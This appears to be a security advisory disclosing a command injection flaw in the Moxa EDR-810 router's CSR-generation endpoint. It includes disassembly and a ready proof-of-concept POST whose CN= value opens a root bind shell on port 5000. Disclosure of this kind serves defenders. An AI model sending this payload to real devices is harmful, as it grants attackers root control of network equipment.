An exploitable command injection vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP POST can cause a privilege escalation resulting in root shell. An attacker can inject OS commands into the CN= parm in the “/goform/net_WebCSRGen” uri to trigger this vulnerability.
Moxa EDR-810 V4.1 build 17030317
https://www.moxa.com/product/EDR-810.htm
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Once logged in to the device’s web interface, a user can generate a X.509 CSR for the VPN via a POST to “/goform/net_WebCSRGen”. One of the parameters that gets sent with this post request is the CN parameter. An attacker can inject OS commands to get a root shell.
Vulnerable URI: /goform/net_WebCSRGen Vulnerable Parameter: CN=
SUB R3, R11, #-command
MOV R0, R3 ; haystack
LDR R1, =aCn ; "CN="
BL strstr
MOV R3, R0
STR R3, [R11,#var_14]
LDR R3, [R11,#var_14]
CMP R3, #0
BEQ loc_40AC8
...
SUB R3, R11, #-s
MOV R0, R3 ; command
BL system
The following POST will start a root shell on port 5000.
POST: /goform/net_WebCSRGen HTTP/1.1
Host: DeviceIP
Cooke: Valid-Cookie
Content-Type: japplication/x-www-form-urlencoded
CN=`tcpsvd 0 5000 /bin/bash`#